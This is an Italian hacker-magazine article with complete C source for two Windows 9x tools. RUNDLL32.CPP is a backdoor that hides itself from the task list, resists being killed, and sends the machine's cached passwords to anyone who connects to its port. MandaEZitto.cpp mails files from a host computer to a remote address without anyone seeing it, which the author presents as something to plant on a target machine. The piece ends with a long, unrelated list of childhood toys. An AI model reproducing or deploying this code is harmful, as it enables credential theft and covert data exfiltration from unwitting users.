//----------------------------------------------------------------------
HINSTANCE carica;
typedef DWORD (__stdcall *forma)(DWORD, DWORD);
forma RegisterServiceProcess;
...
carica = LoadLibrary("kernel32.dll");
...
RegisterServiceProcess =(forma)GetProcAddress(carica,"RegisterServiceProcess");
RegisterServiceProcess(GetCurrentProcessId(),1);
...
//----------------------------------------------------------------------
dopo aver caricato la libreria Kernel32.dll in memoria e' necessario liberarci
di questo fardello.
Ma quando farlo?
All'uscita del programma o subito dopo la chiamata alla funzione?
Meglio subito dopo l'uso della funzione. Perche'? :)) he he
ma perche' cosi' per un tipico errore di windows ci resta un programma con
un riferimento attivo nella lista dei file aperti e praticametne nessun comando
base di sistema (o presente neoi vari task manager) capace di killare un
multithread di questo tipo il tutto risulta essere IMMORTALE.
quindi con
//----------------------------------------------------------------------
HINSTANCE carica;
typedef DWORD (__stdcall *forma)(DWORD, DWORD);
forma RegisterServiceProcess;
...
carica = LoadLibrary("kernel32.dll");
...
RegisterServiceProcess =(forma)GetProcAddress(carica,"RegisterServiceProcess");
RegisterServiceProcess(GetCurrentProcessId(),1);
FreeLibrary(carica);
...
//----------------------------------------------------------------------
il programma server e' attivo in memoria , nascosto dalla task list e sopratutto
indifferente alle richieste di killing operate tramite un task manager sulla lista
dei moduli attivi in memoria.
Questo ovviamente compilando il tutto in modalita' consolle DOS a 32 bit perche'
nel caso dei 16 bit avremmo invece in task list l'apparizione di un processo a nome
WINOLDAPP facilmente eliminabile.
Un esempio pratico col doppio motivo di iniziare a spiegare l'uso dei sockets
multipli tramite il multithread.
Prendiamo il mio vecchio programma RunDll32.cpp .. una piccolo esempio di come
sia possibile fare una backdoor con l'essenziale.. ovvero il recupero in chiaro delle
cached password di un determinato utente.
(nel file allegato PRGMST.ZIP trovate i sorgente completi sia per
BORLAND [Builder C++ 4.00] che per VC [ 5.0 ] )
La novita' sono rappresentate dalla la messa in STEALTH e dalla dichiarazione
di IMMORTALITA' del programma.
Ma cominciamo con la gestione multithread. :)
Usando un compilatore non visual la prima cosa che viene spontaneo dire e'
"ma come e mai possibile poter usare piu' linee di elaborazione contemporaneamente?"
Il sistema windows ci viene in aiuto grazie al suo multitasking. Di carattere
molto -emulativo- sotto w95 ed invece assolutametne reale sotto NT offre (almeno
in questo!) un minimo di standard con Api di sistema uguali per tutti i prodotti
di casa Microsoft.
Le api specifiche sono diverse ma le uniche che in effetti potebbero tornarci utili
sono CreateThread e CreateProcess gestibili semplicemente tramite
_beginthread
L'esigenza cioe' e' quella di creare UN NUOVO PROCESSO per ogni client che
cerchi di cnnettersi al nostro server.
_beginthread richiede semplicemente come parametro il puntatore alla funzione
dovre dovremo collocare le procedure per la gestione dei dialoghi con i vari
clinets.
Mettiamo allora di aver creato questa procedura base di -dialogo- client / server
monoconnesione:
void controlla(void *sock)
{
// recupera l'identificativo del Thread in corso
// (nel nostro caso == ID DEL CLIENT)
pid=GetCurrentThreadId();
// riceve i dati in arrivo dal client
rec=recv(ss,buffer,Lungo,0);
// verifica dei dati ricevuti
if(strncmp(buffer," ** QUALCOSA ** ",n)==0)
{
.. se legge la stringa <QUALCOSA> fa <QUALCOSALTRO>
}
}
// ------------------------
e' posibile semplicemente moltiplicare i thread (uno per client) usando per ogni
tentativo di connessione (e successiva accettazione dela stessa da parte del server)
la _beginthread in questo modo..
praticamente il server sta tutto qui:
// Si inizializza il winsock
...
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD(2,0);
WSAStartup( wVersionRequested, &wsaData;
...
// si stabiliscono i parametri per il sevizio locale
// e l'accettazione dei vari IP di connessione.
any_addr.sin_family=AF_INET;
any_addr.sin_port=htons( (unsigned short) PORTA-DEL- SERVIZIO );
any_addr.sin_addr.s_addr=htonl ( INADDR_ANY );
...
// i SOCKETS saranno aperti sul protocollo TCP
s = socket(AF_INET,SOCK_STREAM,0);
if(s==INVALID_SOCKET) {sockEnd();return 2;}
...
// BINDING = stabilisce se un socket puo' essere associato al rispettivo
// indirizzo di rete Host + porta
if(bind(s,(struct sockaddr *) &any_addr, sizeof(struct sockaddr_in)))
{
WSACleanup();
return 0;
}
// Vengono accettati (in questo caso) un massimo di 10 CLients
listen(s,10);
...
// Ma eccoci al MULTITHREAD vero e prorio
...
while(true)
{
// Viene verificato l'ID del client
ss=accept(s,(struct sockaddr *) &remote_addr,&addrlen);
// Se questo e' un identificativo valido viene crato un nuovo THREAD
// in memoria che si occupera' dei dialoghi con il client realtivo
// ed identificato come numero di socket dal suo ID di connessione
// ricavato con pid=GetCurrentThreadId();
if(
_beginthread(controlla,0,(void *) &ss) == -1)
// ^^^^^^^^^ ^^^
//puntatore alla procedura controlla e al suo parametro
{
perror("_beginthread");break;
// in caso di errore nella creazione del Thread. :)
}
}
E il serve e' praticamente finito. :)
Ma manca ancora la messa in STEALTH e la dichiarazione di IMMORTALITA'..
come avevamo precedentemente detto questo' e' possibile tramite queste poche
righe..
//------------------------------------------------------------------------
...
HINSTANCE carica;
typedef DWORD (__stdcall *forma)(DWORD, DWORD);
forma RegisterServiceProcess;
...
#define RSP_SIMPLE_SERVICE 1
#define RSP_UNREGISTER_SERVICE 0
...
carica = LoadLibrary("kernel32.dll");
if(carica)
{
RegisterServiceProcess =
(forma)GetProcAddress(carica,"RegisterServiceProcess");
if(RegisterServiceProcess)
// MAZZABIBI' MAZZABUBU' STATEVE ACCUORTE CHE NUN CE STO' PIU'
RegisterServiceProcess(GetCurrentProcessId(),RSP_SIMPLE_SERVICE);
}
FreeLibrary(carica); // THE HIGHLANDER! :))
...
//------------------------------------------------------------------------
Il programma -funzionanate- e pronto per le modifiche successive che vorrete fargli
e' in pratica solo questo:
==========================================================================================
Libreria di supporto SUPPORTO.C
==========================================================================================
#include <winsock2.h>
#include <process.h>
#include <time.h>
typedef unsigned int pid_t;
#define CLEAR_ADDR(addr) memset(addr,0,sizeof(struct sockaddr_in))
int sockInit(void){
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD(2,0);
return WSAStartup( wVersionRequested, &wsaData ); }
int sockName(struct sockaddr_in *name,char *hostname,char *hostaddr){
struct hostent *hp;
hp = NULL;
hp=gethostbyaddr((char *) &(name->sin_addr),sizeof(name->sin_addr),AF_INET);
if(hp==NULL) return 1;
strcpy(hostname,hp->h_name);
sprintf(hostaddr,"%d.%d.%d.%d",hp->h_addr_list[0][0],hp->h_addr_list[0][1],
hp->h_addr_list[0][2],hp->h_addr_list[0][3]);
return 0; }
int sockEnd(void){
return WSACleanup();
==========================================================================================
==========================================================================================
Programma RUNDLL32.CPP [ versione per BORLAND ]
==========================================================================================
#include <stdio.h>
#include <string.h>
#include <dos.h>
#include "supporto.c"
#define Lungo 128
#define Dimens 256
#define API LoadLibrary("mpr.dll")
#define FUNC "WNetEnumCachedPasswords"
char *s1,*s2,*b1,*b2,dati[256];
int n = 0;
FILE *fp;
typedef struct tagcache {
WORD a,user,passw;
BYTE b,c,inizio[1];
} cache;
INT CALLBACK TrovaPassword(cache *BIT, DWORD);
void controlla(void *sock);
void pass();
// ------------------------------ PROCEDURA INIZIALE
// ------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {
int argc=_argc;
char **argv=_argv;
SOCKET s;
struct hostent *hp;
struct sockaddr_in any_addr;
struct sockaddr_in remote_addr;
int addrlen;
HINSTANCE carica;
typedef DWORD (__stdcall *forma)(DWORD, DWORD);
forma RegisterServiceProcess;
SOCKET ss;
s=INVALID_SOCKET;
hp=NULL;
CLEAR_ADDR(&any_addr);
CLEAR_ADDR(&remote_addr);
addrlen=sizeof(struct sockaddr_in);
if(argc != 2) {
printf("Sintassi: %s porta\n",argv[0]);
return 0;}
// Eliminazione del processo server dalla task list
#define RSP_SIMPLE_SERVICE 1
#define RSP_UNREGISTER_SERVICE 0
carica = LoadLibrary("kernel32.dll");
if(carica)
{
RegisterServiceProcess =
(forma)GetProcAddress(carica,
"RegisterServiceProcess");
if(RegisterServiceProcess)
RegisterServiceProcess(GetCurrentProcessId(),
RSP_SIMPLE_SERVICE);
}
FreeLibrary(carica);
sockInit();
any_addr.sin_family=AF_INET;
any_addr.sin_port=htons( (unsigned short) atoi(argv[1]));
any_addr.sin_addr.s_addr=htonl ( INADDR_ANY );
s = socket(AF_INET,SOCK_STREAM,0);
if(s==INVALID_SOCKET) {sockEnd();return 2;}
if(bind(s,(struct sockaddr *) &any_addr, sizeof(struct sockaddr_in)))
{sockEnd();return 3;}
listen(s,10);
// Creazione dei vari Thread per al gestione separata degli utenti
while(true){
ss=accept(s,(struct sockaddr *) &remote_addr,&addrlen);
if(_beginthread(controlla,0,(void *) &ss)==-1){
perror("_beginthread");break;}}
sockEnd();return 0;}
// ------------------------------------------------------------------
// ------------------------------ CONTROLLA ED ESEGUE I COMANDI
// ------------------------------------------------------------------
void controlla(void *sock){
SOCKET ss;
pid_t pid;
char msg[Dimens],remotename[128],remoteaddr[128],buffer[Lungo];
int addrlen,rec;
struct sockaddr_in remote_addr;
ss=*((SOCKET *) sock);
addrlen=sizeof(struct sockaddr_in);
pid=GetCurrentThreadId();
memset(buffer,0,Lungo);
memset(msg,0,Dimens);
sprintf(buffer,"Sono pronto:");
if(send(ss,buffer,strlen(buffer),0)<=0) return;
CLEAR_ADDR(&remote_addr);
getpeername(ss,(struct sockaddr *) &remote_addr,&addrlen);
sockName(&remote_addr,remotename,remoteaddr);
do{rec=recv(ss,buffer,Lungo,0);
if(rec<=0){printf("Ciao.\r\n");break;}
buffer[rec]=0;
strcat(msg,buffer);
if(buffer[strlen(buffer)-1]=='\n'){
send(ss,"Ricevuto: ",10,0);
send(ss,msg,strlen(msg),0);
// COMANDO: password -> per avere la lista delle cached password
if(strncmp(msg,"password",8)==0){
pass();
fp=fopen("out","rb");
strcpy(dati,"\r\n");
send(ss,dati,strlen(dati),0);
while(!feof(fp)){
fgets(dati,255,fp);
strcat(dati,"\r\n");
send(ss,dati,strlen(dati),0);}
fclose(fp);
remove("out");}
// COMANDO: quit -> per uscire
if(strncmp(msg,"quit",4)==0){
strcpy(buffer,"Ciao.\r\n");
send(ss,buffer,strlen(buffer),0);break;}
// ... qui e' possibile semplicemente aggiungere le proprie
// procedure per implementare un qualsivoglia comando! :)))
memset(msg,0,Dimens);
memset(buffer,0,Lungo);}
}while(1);
closesocket(ss);}
// ------------------------------------------------------------------
// ------------------------------ TROVA PASSWORD
// ------------------------------------------------------------------
void pass(){
HINSTANCE k = API;
s1 = b1 = new char[1024];
s2 = b2 = new char[1024];
fp=fopen("out","wb");
fprintf(fp,"RISULTATO :\n");
fprintf(fp,"----------\n");
WORD(__stdcall *chiama)(LPSTR, WORD, BYTE, void*, DWORD) =
(WORD(__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))
GetProcAddress(k, FUNC);
(*chiama)(0,0, 0xff, TrovaPassword, 0);
if (n==0) fprintf(fp,"Non ci sono password salvate nella cache.\n");
else fprintf(fp,"Trovate %d cached password.",n);
FreeLibrary(k);
fclose(fp);}
// ------------------------------------------------------------------
// ------------------------------ ENUMERA TUTTE lE PASSWORD
// ------------------------------------------------------------------
INT CALLBACK TrovaPassword(cache *BIT, DWORD){
memmove(s1, BIT->inizio, BIT->user);
memmove(s2, BIT->inizio+BIT->user, BIT->passw);
s1[BIT->user] = s2[BIT->passw] = 0;
CharToOem(s1,b1);CharToOem(s2,b2);
if (strstr(s1,"Rna")){
fprintf(fp,"Account -> Cache(%d)\n", n);
fprintf(fp,"USER -> %-30s\n", b1);
fprintf(fp,"PASSW -> %s\n", b2);}
else{
fprintf(fp,"Password -> Cache(%d)\n",n);
fprintf(fp,"URL -> %-30s\n", b1);
fprintf(fp,"USER:PASS -> %s\n", b2);}
fprintf(fp,"----------\n");n++;
return(n);}
// ------------------------------------------------------------------
==========================================================================================
Le differenze nella versione per VC sono veramente poche.
In particolare l'uso del paramentro
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR file, int) {
^^^^
al posto delle (per me!!) piu' comode
int argc=_argc;
char **argv=_argv;
per il recupero dei parametri passati da linea di comando
e quindi la sostituzione dove necessario della chiamata
atoi(argv[1]) in atoi(file)
Il programma poi e' lo stesso.
In borland c++ 4 builder il compilato viene leggermente piu' grande
32K contro i 23k del VC
in compenso il compilato Borland e' discretamente piu' veloce nella
gestione delle operazioni del server.
Note di lavoro:
Il server come il precedente permette il recupero delle password memorizzate nella
chache del computer ospite tramite collegamento tramite un client tipo telnet o
netcat.
All'atto della connessione si otterra' il messaggio di benvenuto "sono pronto"
cosa questa che permettera' di cercare gli utenti con server installato tramite
un semplice portscan!
Omettendo di chiamare il server con il parametro iniziale realtivo al numero della
porta sulla quel si vorra' installare il servizio .. il prog prendera' come porta
la prima utile (e libera) dopo quelle di sistema .. in genere la 1025.
Per installare il server
RUNDLL32 <porta>
==========================================================================================
Un esempio migliore pero' potrebbe essere rappresentato dal programma che segue..
mettiamo di avere l'esigenza di piazzare su un determinato computer un tool
che ci permetta di inviare una mail con una serie di file in attach in maniera
invisibile per la macchina ospite e sopratutto -sicura- per noi!
nel file allegato PRGMST.ZIP trovate i sorgenti completi
nella versione MANDA.CPP avete un programma di tipo "normale"
Ovvero un tool che permette di inviare mail da linea di comando secondo
un file di script le cui specifiche discuteremo tra qualche riga.
Nella versione MandaEZitto.Cpp lo stesso programma che pur facendo
esattamente la stessa cosa ..
1. lo fa senza aprire nessun forma o finestra di dialogo
2. e' completamente invisibile nella task list
3. mentre lo fa e' virtualmente non bloccabile
[ non consideriamo lo spegnimento del computer o del modem col pulsante
Power/Reset ovviamente! :))
.. a bloccare quelli da remoto non ci sono ancora arrivato! hi hi hi ;-) ]
Ma vediamo prima le caratteristiche dello script..
E' semplicissimo .. i comandi sono gli stessi che si userebbero su telnet per
inviare una mail con la piccola differenza che e' possibile in piu' usare la
parola speciale
/ATTACH:
-------------------------------------------------------
path/nome.file nome.file
-------------------------------------------------------
per dichiare che esiste sul nostro computer (o meglio sul computer dove il
programma e' ospitato .. ) uno o piu' file da inviare come attachment dopo
aver codificato questi ultimi in formato UUENCODE.
Con telnet avremmo dovuto farlo a mano .. e cioe' scrivere i paramentri della
mail , poi codificare in formato UUENCODE i file che volevamo attaccare a seguito
della stessa ed appiccicare il tutto con copia e incolla a fine body e
prima dell'invio del punto finale di chiusura.
Le specifiche sono le stesse del protocollo SMTP con qualche pratica modifica.
La prima riga del file dovra' contenere in formato numerico l'ip del server dal
quale si vorra' mandare la mail.
es: 123.231.312.213
le successive quattro righe che andranno scritte obbligatoriamente di seguito
una dopo l'altra conterranno rispettivamente i comandi:
HELO <testo> .. invia il riconoscimento al server SMTP
MAIL FROM: <mittente del messaggio>
.. informa il server SMTP sull'origine del mittente
RCPT TO: <destinatario del messaggio>
.. il messaggio verra' inviato a questo indirizzo.
DATA
.. comando dopo il quale verra' scritto il testo del messaggio.
Subito dopo il campo data senza aggiungere spazi si potranno inserire un numero
a piacere di header standard.
Quelli consigliati sono:
Subject: <Oggetto della mail>
From: "nick del mittente" <indirizzo mail del mittente>
.. inidrizzo e nick del mittente che appariranno sulla preview del client
usato per la lettura della posta.
To: "nick del destinatario" <indirizzo mail del destinatario>
.. indirizzo e nick del destinatario che apprarirranno sul client.
dopo una riga vuota sara' possibile inserire il testo della mail della lunghezza
voluta.
La mail dovra' finire con un punto.
es:
--------------------------
headers
testo della mail
.
---------------------------
--------------------------------------------------------------------------------
ATTACHMENT:
--------------------------------------------------------------------------------
prima del punto di chiusura della mail e dopo la fine del testo si potranno
inserire un numero a piacere di attachment con la seguente sintassi
/ATTACH:
-------------------------------------------------------
path_e_nome_del_file_da_accludere nome_per_l'invio
-------------------------------------------------------
sono attach validi
/ATTACH:
-------------------------------------------------------
pippo.exe pippo.exe
-------------------------------------------------------
/ATTACH:
-------------------------------------------------------
c:\windows\mpr.dll eccolo.qua
-------------------------------------------------------
/ATTACH:
-------------------------------------------------------
c:\ok\varie\archivio.zip archivio.zip
-------------------------------------------------------
i nomi non dovranno contenere spazi percui
/ATTACH:
-------------------------------------------------------
c:\ok\varie dal mondo\archivio.zip archivio.zip
-------------------------------------------------------
non sara' una attach valida.
--------------------------------------------------------------------------------
ESEMPIO di file messaggio valido
--------------------------------------------------------------------------------
//-----------------------------inizio file MESSAGGIO.TXT
194.184.55.3
HELO Steve
MAIL FROM: me@too.it
RCPT TO: master@spippolatori.com
DATA
Subject: Prova con attach 2
To: "Stefano" <cip@cip.com>
From: "Pippo" <ciop@ciop.it>
Vediamo cosa arriva di bello
oggi. ;-)
/ATTACH:
----------------------------------------
c:\ok\news.zip uno.zip
----------------------------------------
/ATTACH:
----------------------------------------
c:\windows\pippo.zip due.zip
----------------------------------------
.
//-----------------------------fine file MESSAGGIO.TXT
per la spedizione sara' sufficiente digitare da linea di comando
MANDA MESSAGGIO.TXT
--------------------------------------------------------------------------------
Il programma per l'invio stealth e' in pratica questo.. (commentato)
==========================================================================================
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dos.h>
#include <conio.h>
#include <io.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <winsock.h>
#define ENC(c) (((c)&077)+' ')
// Assegnazioni
//---------------------------------------------------------------------------
WSAData ws;
SOCKET s;
struct sockaddr_in sock;
int d,n,m;
long gg;
char passa,passa0='P',stringa[4096], stringhina[3];
//---------------------------------------------------------------------------
// Dichiarazione delle procedure
//---------------------------------------------------------------------------
Spedisci_Messaggio(char *messaggio);
Spedisci_ENTER();
Ricevi_Risposte();
void encode(FILE *in, FILE *out);
void outdec(char *p, FILE *f);
int fr(FILE *fd, char *buf, int cnt);
uuencode(char *uno, char *due,char *tre);
//---------------------------------------------------------------------------
int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR file, int )
//main(int nf,char **file)
{
int nf=2;
char *leggi;
FILE *fp;
FILE *f,*o,*uue;
char gs[1000],gs1[1000];
int k;
HINSTANCE carica;
typedef DWORD (__stdcall *forma)(DWORD, DWORD);
forma RegisterServiceProcess;
/////////////////////////////////////////////////////////////////
// Eliminazione del processo server dalla task list
/////////////////////////////////////////////////////////////////
#define RSP_SIMPLE_SERVICE 1
#define RSP_UNREGISTER_SERVICE 0
carica = LoadLibrary("kernel32.dll");
if(carica)
{
RegisterServiceProcess =
(forma)GetProcAddress(carica,
"RegisterServiceProcess");
if(RegisterServiceProcess)
RegisterServiceProcess(GetCurrentProcessId(),
RSP_SIMPLE_SERVICE);
}
/////////////////////////////////////////////////////////////////
// e messa in IMMORTALITA' per il periodo di INVIO MAIL
/////////////////////////////////////////////////////////////////
FreeLibrary(carica);
leggi = (char *) calloc(1000, sizeof(char));
/// verifica l'esistenza del file con il messaggio
//---------------------------------------------------------------------------
if(access(file, 0)!=0){
exit(0);
}
/////////////////////////////////////////////////////////////////
/// Verifica se nel messaggio ci sono delle chiamate a files di attach
/// ed esegue le necessarie codifiche in formato UUENCODE
//---------------------------------------------------------------------------
/////////////////////////////////////////////////////////////////
f=fopen(file,"rb");
o=fopen("out","wb");
while(!feof(f))
{
fgets(gs,1000,f);
if(!strstr(gs,"ATTACH:"))fprintf(o,"%s",gs);
else
{
fscanf(f,"%s",gs);
fscanf(f,"%s",gs);fscanf(f,"%s",gs1);
if(access(gs, 0)!=0){
exit(0);}
strcat(gs1,"_");
uuencode(gs,gs1,"attach.uue");
uue=fopen("attach.uue","rb");
while(!feof(uue)&&fgets(gs,1000,uue)!=NULL)
{
fprintf(o,"%s",gs);
}
fclose(uue);
remove("attach.uue");
fscanf(f,"%s",gs);
}
}
fclose(o);fclose(f);
fp=fopen("out","rb");
/////////////////////////////////////////////////////////////////
// inizializzazione del winsock
//---------------------------------------------------------------------------
/////////////////////////////////////////////////////////////////
gg=WSAStartup(0x0101,&ws);
// apertura del socket
s = socket(AF_INET,SOCK_STREAM,0);
/////////////////////////////////////////////////////////////////
// dichiarazione della porta e dell'host a cui connettersi
/////////////////////////////////////////////////////////////////
sock.sin_family = AF_INET;
sock.sin_port = htons(25);
fgets(leggi,1000,fp);
if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0';
if(strstr(leggi,"DEFAULT"))strcpy(leggi,"194.235.161.1"); // mail.amadeus.it
sock.sin_addr.s_addr = inet_addr(leggi);
/////////////////////////////////////////////////////////////////
// connessione
/////////////////////////////////////////////////////////////////
d=connect(s,(struct sockaddr *)&sock,sizeof(sock));
//---------------------------------------------------------------------------
// Riceve il messaggio dibenvenuto del server SMTP
Ricevi_Risposte();
/////////////////////////////////////////////////////////////////
// Spedizione della MAIL
//---------------------------------------------------------------------------
// manda il comando HELO
/////////////////////////////////////////////////////////////////
fgets(leggi,1000,fp);
if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0';
Spedisci_Messaggio(leggi);
// aspetta il messaggio di ritorno e lo visualizza
Ricevi_Risposte();
/////////////////////////////////////////////////////////////////
// manda il comando MAIL FROM
/////////////////////////////////////////////////////////////////
fgets(leggi,1000,fp);
if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0';
Spedisci_Messaggio(leggi);
// aspetta il messaggio di ritorno e lo visualizza
Ricevi_Risposte();
/////////////////////////////////////////////////////////////////
// manda il comando RCPT TO
/////////////////////////////////////////////////////////////////
fgets(leggi,1000,fp);
if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0';
Spedisci_Messaggio(leggi);
// aspetta il messaggio di ritorno e lo visualizza
Ricevi_Risposte();
/////////////////////////////////////////////////////////////////
// manda il comando DATA
/////////////////////////////////////////////////////////////////
fgets(leggi,1000,fp);
if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0';
Spedisci_Messaggio(leggi);
// aspetta il messaggio di ritorno e lo visualizza
Ricevi_Risposte();
/////////////////////////////////////////////////////////////////
// manda il MESSAGGIO ..
// non si aspettano risposte se non dopo l'invio del
// punto finale seguito dal carriage return
/////////////////////////////////////////////////////////////////
k=0;
memset(leggi,0,1000);
manda:
passa=fgetc(fp);leggi[k++]=passa;
//sprintf(leggi,"%c",passa);
if(passa=='.'&&passa0==10)
{
/////////////////////////////////////////////////////////////////
// Controlla se e' stata raggiunta la fine della mail e manda
// la richiesta di spedizione al server SMTP
/////////////////////////////////////////////////////////////////
if(k>0)
{
send(s,leggi,k-1,0);
Spedisci_ENTER();
}
Spedisci_Messaggio(".");
Spedisci_ENTER();
Spedisci_ENTER();
}
else
{
/////////////////////////////////////////////////////////////////
// Segmenta l'invio degli attach in pacchetti di 512 Bytes
// ovviamente questo vaore potra' essere modificato a piacere
// sempre tenendo conto della gaussiana che predice una possibilita'
// maggiore di errore per pacchetti troppo piccoli o per pacchetti
// troppo grandi. 500/1000 Bytes dovrebbe essere il range entro
// il quale giocare.
/////////////////////////////////////////////////////////////////
if(k>=512)
{
send(s,leggi,512,0);
k=0;memset(leggi,0,1000);
}
//send(s,leggi,1,0);
passa0=passa;
goto manda;
}
fclose(fp);
/////////////////////////////////////////////////////////////////
// aspetta il messaggio di ritorno e NON lo visualizza
/////////////////////////////////////////////////////////////////
Ricevi_Risposte();
remove("out");
exit(0);
}
//---------------------------------------------------------------------------
/////////////////////////////////////////////////////////////////
// Procedure utilizzate :
//---------------------------------------------------------------------------
/////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////
// Procedura per spedire un messaggio al server con CrLf finale
//---------------------------------------------------------------------------
/////////////////////////////////////////////////////////////////
Spedisci_Messaggio(char *messaggio)
{
send(s,messaggio,strlen(messaggio),0);
stringhina[0]=0x0d;stringhina[1]=0x0a;
send(s,stringhina,2,0);
return(0);
}
//---------------------------------------------------------------------------
/////////////////////////////////////////////////////////////////
// Procedura per spedire al server un CrLf
//---------------------------------------------------------------------------
/////////////////////////////////////////////////////////////////
Spedisci_ENTER()
{
stringhina[0]=0x0d;stringhina[1]=0x0a;
send(s,stringhina,2,0);
return(0);
}
//---------------------------------------------------------------------------
/////////////////////////////////////////////////////////////////
// Procedura per attendere e visualizzare la risposta del server
//---------------------------------------------------------------------------
/////////////////////////////////////////////////////////////////
Ricevi_Risposte()
{
n=recv(s,stringa,sizeof(stringa),0);
return(0);
}
//---------------------------------------------------------------------------
/////////////////////////////////////////////////////////////////
// Procedure per la codifica degli attachment
// nel formato UUENCODE
//---------------------------------------------------------------------------
/////////////////////////////////////////////////////////////////
uuencode(char *uno,char *due, char *tre)
{
FILE *in,*out;
struct stat sbuf;
int mode;
in=fopen(uno,"rb");
out=fopen(tre,"wb");
fstat(fileno(in), &sbuf);
mode=sbuf.st_mode&0777;
fprintf(out,"begin %o %s\n", mode, due);
encode(in, out);
fprintf(out,"end\n");
fclose(in);fclose(out);
return 0;
}
//---------------------------------------------------------------------------
void encode(FILE *in, FILE *out)
{
char buf[80];
int i,n;
for(;;){
n=fr(in,buf,45);
putc(ENC(n),out);
for (i=0;i<n;i+=3)outdec(&buf[i], out);
putc('\n',out);
if(n<=0)break;}
}
//---------------------------------------------------------------------------
void outdec(char *p, FILE *f){
int c1,c2,c3,c4;
c1=*p>>2;
c2=((p[0]<<4)&060)|((p[1]>>4)&017);
c3=((p[1]<<2)&074)|((p[2]>>6)&03);
c4=p[2]&077;
putc(ENC(c1),f);
putc(ENC(c2),f);
putc(ENC(c3),f);
putc(ENC(c4),f);
}
//---------------------------------------------------------------------------
int fr(FILE *fd, char *buf, int cnt){
int c,i;
for (i=0;i<cnt;i++){
c=getc(fd);
if (c==EOF)return(i);
buf[i]=(char)c;}
return (cnt);
}
//---------------------------------------------------------------------------
==========================================================================================
.. un ultimo richiamo al VB adesso.
Chissa se l'umanita' e' preparata ai miei articoli "macedonia" .. speriamo di si! :)
Sempre sulla spedizione delle mail.
E' possibile costruire una mail complessa partendo dal solo banale
MAILTO URL SCHEME come citato nel relativo RFC 2368 [ allegato al file di esempio ]
Purtroppo leggersi le RFC e' un giochino d'altri tempi un po come
Le palline clic-clac
Il monopattino bianco e rosso
La macchinina o il go-kart con i pedali
Le biglie, le pancette, le venate, le gassate per i giochi della buca e
del caporale.
Le parole per giocare a 'cicotti': b¨ alse; b¨ spasse; bu de canaleta;
bu t÷t per me, bu nient per te
Le autopiste Polistil
I Chiodini
Il Traforo
Il Meccano
Il Lego
L'Allegro Chirurgo
Il Going, versione normale e in miniatura
La palla Canguro
La bicicletta Teentenager
Le cartucce Bum
Le piste disegnate con il gesso per le macchinine
I soldatini e gli aerei da montare Airfix
Gli aerei di balsa con l'elastico
Gli aerei di carta paper plane
I soldatini Baravelli
La cartolina fissata ai raggi della bici
Le assi di legno con le ruote
Lo Slam e lo Slam vermi
Il pongo colorato Adica Pongo
La Bambola Petula
I fustini tondi del dash pieni di lego
I PlasticCity Italocremona, blocchetti per costruzioni risposta italiana
agli svedesi Lego
La pistoletta squadrata fatta con gli ambiti pezzi lunghi dei
PlasticCity Italocremona
Il gioco dell'oca
L'alfabetico magnetico di plastica
Valida Bisvalida Trisvalida
La bambola La metti in tasca nella scatola trasparente
Il fortino dei cowboys e gli indiani
I vestiti da ritagliare per le bambole da ritagliare
Le piste sulla sabbia per le palline
Le palline di plastica con dentro i ciclisti
La pista con le automobili Sizzler della Mattel
Le trottole a pressione
Il Subbuteo
Le pulci
Il Dolceforno
I fusi con la cannetta e la cannetta doppia
Il Monopoli
Cicciobello e Serenella
La Barbie e il Big Jim
Gjoe, in tutte le sue versioni
I soldatini Atlantic
La pistola a aria Oklahoma
La bicicletta Saltafoss
La bicicletta Graziella
Il gioco 'Bandiera'
Il gioco 'Nascondino'
Il gioco 'Strega comanda color'
Il gioco Palla bollata/Palla avvelenata
Il gioco 'Mondo'
Il gioco 'Elastico'
Il gioco L'orologio di Pierino fa tic tac
Il gioco 4 cantoni
I pupazzi animati dei telefilm inglesi 'Joe 90' e 'Thunderbird'
I modellini delle automobili Dinky toys dei vari mezzi dei suddetti
telefilm
Il gioco Cip
Il gioco Rialzo
Il gioco Difetti
Il gioco in scatola Il piccolo chimico
Il gioco in scatola Rischiatutto
Il giochi con le figurine Muretto, Chi ci va sopra, il nome pi¨ lungo
L'arco e le freccie Arco Falc
La bambola Mimmina
Le parole da gioco 'arimus' e 'mortis' per rendersi attivi/passivi
La scelta tra 'dire, fare, baciare, lettera, testamento'
Le trottole Wizzer, metÓ trasparenti, metÓ colorate, con accessori
I pupazzi piatti di gatto Silvestro, Titti, Braccio di Ferro e di Disney
da appiccicare con il sapone, regali del formaggino Mio
Le fiabe 'A mille ce n'Þ' e la canzone "A mille ce n'Þ nel mio cuore di
fiabe da narrar (da narrar), venite con me nel mio mondo fatato per
sognar (per sognar), non basta l'ombrello il cappottino rosso la
cartella bella per venire con me, basta un po' di fantasia e di bontÓ (e
di bontÓ) C'era una volta ..."
La raccolta delle figurine dei calciatori delle Edizioni Panini di
Modena, serie 'Le grandi raccolte per la Giovent¨'
Giocare a 'celo celo manca' con le figurine
Ringraziare Giulio Regosa per la lista dal sito Anima Mia
A cui Fabio Fazio gli fa una pippa
ecc...
spesso, dicevamo, la cosa viene usata per creare su una pagina html un richiamo ai vari
client che si aprono con l'indirizzo del destinatario gia riempito ad hoc.
Per quant semplice sembra che veramente pochi conoscano il sistema per completare
il resto della mail con dati preconfezionati! :)) .. e' un dato di fatto allarmante
ma non per questo meno verso.
In effetti alcune cose sono particolari .. tipo il salto di linea all'interno del
body da dichiararsi in formato ascii puro .. ma cmq neiente di particolarmente
difficile. :)
Nell'esempio pratico che segue (e che e' sempre possibile trovare nel file allegato
a questo numero di Netrunner) si vede come e' possibile farlo.
Mettiamo di voler inviare una mail con Outook senza doverci preoccupare troppo
della versione installata.
[cosa che dovremmo fare nel caso usassimo i controlli standard per l'oggetto
"outlook" .. le classi e i tipi di utlizzo dalla versione 4 alla 5 di Express
e da O97 fino alle uiltime versioni sono cambiate RADICALMENTE! ]
